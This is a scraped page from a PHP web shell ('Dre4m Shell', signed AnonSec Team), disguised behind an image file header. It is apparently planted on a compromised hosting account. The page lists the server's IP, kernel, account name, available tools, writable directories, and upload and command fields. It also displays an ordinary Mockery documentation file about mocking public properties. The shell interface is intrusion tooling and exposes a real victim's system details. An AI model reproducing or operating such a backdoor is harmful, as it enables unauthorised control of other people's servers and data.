ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.125.116
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/reference/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/reference/public_properties.rst
.. index::
    single: Mocking; Public Properties

Mocking Public Properties
=========================

Mockery allows us to mock properties in several ways. One way is that we can set
a public property and its value on any mock object. The second is that we can
use the expectation methods ``set()`` and ``andSet()`` to set property values if
that expectation is ever met.

You can read more about :ref:`expectations-setting-public-properties`.

.. note::

    In general, Mockery does not support mocking any magic methods since these
    are generally not considered a public API (and besides it is a bit difficult
    to differentiate them when you badly need them for mocking!). So please mock
    virtual properties (those relying on ``__get()`` and ``__set()``) as if they
    were actually declared on the class.

Anon7 - 2022
AnonSec Team